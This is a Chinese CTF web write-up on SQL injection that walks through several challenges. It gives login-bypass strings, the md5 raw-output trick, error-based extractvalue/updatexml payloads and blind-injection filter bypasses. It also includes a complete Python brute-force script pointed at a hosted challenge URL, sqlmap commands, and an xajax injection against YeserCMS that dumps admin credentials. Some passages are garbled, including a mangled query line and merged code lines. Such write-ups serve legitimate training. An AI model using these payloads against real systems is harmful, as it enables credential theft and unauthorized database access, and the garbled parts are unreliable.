1. 程式人生 > >CTF-web 第二部分 SQL注入(3)

CTF-web 第二部分 SQL注入(3)

例題

檢視原始碼可以需要admin賬號,構造簡單的注入就可以通過 admin’ or ‘a’=‘a’# (admin’ or 1=1# )密碼隨意 驗證碼正確填寫就可以

2. 不要懷疑,我已經過濾了一切,還再逼你注入,哈哈哈哈哈!

登入表單測試username password 測試username輸入mask’ ,沒有報錯,可是注入,粗測這裡的sql語句類似是:
select …from …where username =’ ’ and password = ’ ';

構造username :mask'='0 password :mask'='0 sql語句變為:select ....from .... where (username ='mask')='0' and (password ='mask') = '0' 成功繞過  

要求輸入密碼,觀察php程式碼

 $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
   $result=mysqli_query($link,$sql);
  if(mysqli_num_rows($result)>0){
   echo 'flag is :'.$flag;
  }
  else{
   echo '密碼錯誤!';
  }

存在md5($str,true)注入 md5(string, raw),raw可選,預設為false,true:返回16字元2進位制格式,false:返回32字元16進位制格式。

簡單來說就是 true將16進位制的md5轉化為字元了,如果某一字串的md5恰好能夠產生如’or ’之類的注入語句,就可以進行注入了.

提供一個字串:ffifdyop,
md5後為276f722736c95d99e921722cf9ed621c,轉成字串後為’or’6,即可成功繞過。

4.加了料的注入報錯

該題目較為複雜,對於賬號密碼輸入進行測試username='or '1 報錯說明’可以使用,但是測試發現被過濾了#-:= ,並且username中不能使用(),password中卻可以。

使用萬能密碼username='or ‘1,password=‘or ‘可以登入但是沒卵用,檢視原始碼發現提示的查詢語句
s

ql="selectfromuserwhereusername=sql="select * from user where username='username’ and password=’$password’"

根據以上資訊,思路是在username裡寫報錯函式名,password裡寫剩下的語句,使用的方法是http分割注入,原理是使用/**/進行註釋。注入字串如下:
報錯出資料庫名 (為error_based_hpf)

我們使用了兩種函式的注入,extractvalue和updatexml,具體的區別見程式碼吧

username='or extractvalue /*,password=*/(1, concat(0x5c,(select user()))) or'
username=' or '1&password=' or pcat() or '1 ,顯示FUNCTION error_based_hpf.pcat does not exist (利用形式username=' or updatexml/*&password=*/(1,concat(0x3a,(錯誤語句)),1) or ')

報表名:由於不能等號、limit、like,於是借用regexp(為ffll44jj)
username='or extractvalue /*,password=*/(1, concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'))) or'
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x3a),1) or '

爆欄位(列) (為value)
username='or extractvalue /*,password=*/(1, concat(0x5c,(select group_concat(column_name) from information_schema.tables where table_name regexp 'ffll44jj'))) or'  
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.tables where table_name regexp 'ffll44jj'),0x3a),1) or ' 

 爆數值
 username='or extractvalue /*,password=*/(1, concat(0x5c,(select group_concat(value) from ffll44jj))) or'  
 username='or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(value) from ffll44jj),0x3a),1) or 
    '  
 即可得到flag        

過濾了and,空格,逗號,union,+等,但是fuzzer時or是可以用的,不過在後臺給刪除了,所以採用oorr的形式進行盲注破解。

第一步 資料庫名長度id=0’oorr(length(database())=1)oorr’0 如果長度正確就會顯示在裡面 使用inturder就可以 將長度標記$$ 設定範圍1,40,1 得到結果為18長度

第二步 資料庫名,使用單個字元爆破id=0’oorr((mid((database())from(y)foorr(x)))=’%s’)oorr’0 y表示起始位置 x表示執行幾位 本題需要一位一位測試 即y為1-18 x=1 指令碼見

import requests
# 本指令碼用於自動爆破資料庫長度 名字 表的長度 名字 欄位 數值等
# 使用中,6個函式需要自己手動執行,根據返回的引數帶入到下一個函式進行
# 具體的每個函式的負載 需要根據情況更改
# 這個不是我的 網上大佬的
​
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"  # 測試的路徑
str = "You are in"   # 成功時可以在響應中匹配到的字串,用於判斷
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."  # 名字猜解的字元範圍def get_ku_length():
    print('start')
    for i in range(1, 30):
        key = {'id': "0'oorr(length(database())=%s)oorr'0" % i}
        res = requests.post(url, data=key).text
        print(i)
        if str in res:
            print("find the length %s" %i)
            breakdef get_ku_name():
    database = ''
    print('start')
    for i in range(1, 19):
        for j in guess:
            key = {'id': "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" % (i, j)}
            res = requests.post(url, data=key).text
            print('............%s......%s.......' % (i, j))
            if str in res:
                database += j
                break
    print(database)
​
​
def get_table_length():
    i = 1
    print("start")
    while True:
        # 多個表名使用@隔開
        res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0" % i
        res = res.replace(' ', chr(0x0a))
        key = {'id': res}
        r = requests.post(url, data=key).text
        print(i)
        if str in r:
            print("length: %s" % i)
            break
        i += 1
    print("end!")def get_table_name():
    table = ""
    print("start")
    for i in range(1, 12):
        for j in guess:
            res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tab" \
                  "les)where(table_schema)=database())='%s')oorr'0" % (i, j)
            # 由於遮蔽空格 替換為換行符號
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            print('---------%s---------%s' % (i, j))
            if str in r:
                table += j
                break
    print(table)
    print("end!")
​
​
def get_ziduan_length(table_name):
    i = 1
    print("start")
    while True:
        # res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0" % i
        res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)="% i
        res += "'"+table_name + "')='')oorr'0"
        print(res)
        res = res.replace(' ', chr(0x0a))
        key = {'id': res}
        r = requests.post(url, data=key).text
        print(i)
        if str in r:
            print("length: %s" % i)
            break
        i += 1
    print("end!")def get_ziduan_name():
    column = ""
    print("start")
    for i in range(1, 6):
        for j in guess:
            res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0" % (
            i, j)
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            print("......%s.........%s........." % (i, j))
            if str in r:
                column += j
                break
    print(column)
    print("end!")
​
​
def get_value():
    flag = ""
    print("start")
    for i in range(1, 20):
        for j in guess:
            res = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (i, j)
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            'print("........%s..........%s........"%(i,j))'
            if str in r:
                flag += j
                print(flag)
                break
    print(flag)
    print("end!")

為賬號密碼登入,使用SQL注入獲取賬號密碼的

檢查注入 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login"
讀取庫 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
讀取表 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test"
讀取數值 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test"
得到賬號密碼為admin,idnuenna,登陸後得到flag

7. ichunqiu Web 名稱:YeserCMS 50分

/celive/live/header.php檔案的parse_str($sQuery, $aArray);存在注入漏洞。post使用報錯注入

 庫名 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
          
表 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
          、
猜解表的欄位 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
    
獲取數值 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
                   
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',((UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

得到admin|ff512d4240cbbdeafada404677ccbe61,解密後得到明文:Yeser231
登入後 後臺管理在當前模板編輯處存在檔案讀取漏洞 https://www.ichunqiu.com/battalion

8. ichunqiu Web 名稱:SQL 50分

從url的id引數發現可以注入,但是過濾了union select等關鍵字 不成問題 繞一下

uni<>on sel<>ect database() version()分別為 --》 sqli --》 5.5.50-0ubuntu0.14.04.1
進一步獲取表 ?id=-1 uni<>on sele<>ct 1,(sel<>ect g<>roup_c<>oncat(t<>able_n<>ame) fro<>m i<>nformation_sch<>ema.tab<>les w<>here ta<>ble_sch<>ema=database()),3      --》info
進一步獲取欄位 ?id=-1 uni<>on sele<>ct 1,(sel<>ect gr<>oup_concat(colu<>mn_na<>me) from inform<>ation_schema.co<>lumns wh<>ere table_name='info'),3              --》id,title,flAg_T5ZNdrm
獲取數值 ?id=-1 uni<>on sele<>ct 1,(sel<>ect gro<>up_co<>ncat(flAg_T5ZNdrm) f<>rom info),3

9. ichunqiu 百度杯十月 Web 名稱:登陸 50分

這是一個登陸的賬戶密碼輸入框,但是對於一般的sql注入,過濾了很多mid, substr, left ,search 等很多函式,但是是存在布林注入的,所以另外尋找方法

這有一個神奇的思路,兩個輸入框的class類名即為資料庫中的段名,這個是別人測試出來的。

採用like模糊搜尋,使用數字字母的前向匹配方式進行爆破,流程如下:

大迴圈-》使用上限為40個數字字母的’{}%'匹配,迴圈搜尋,如果為真則進行下一個字母的匹配,直到搜尋到完整的名字。(爆破賬戶密碼)

輸入的格式 admin’ or user_n3me like ‘a%’;#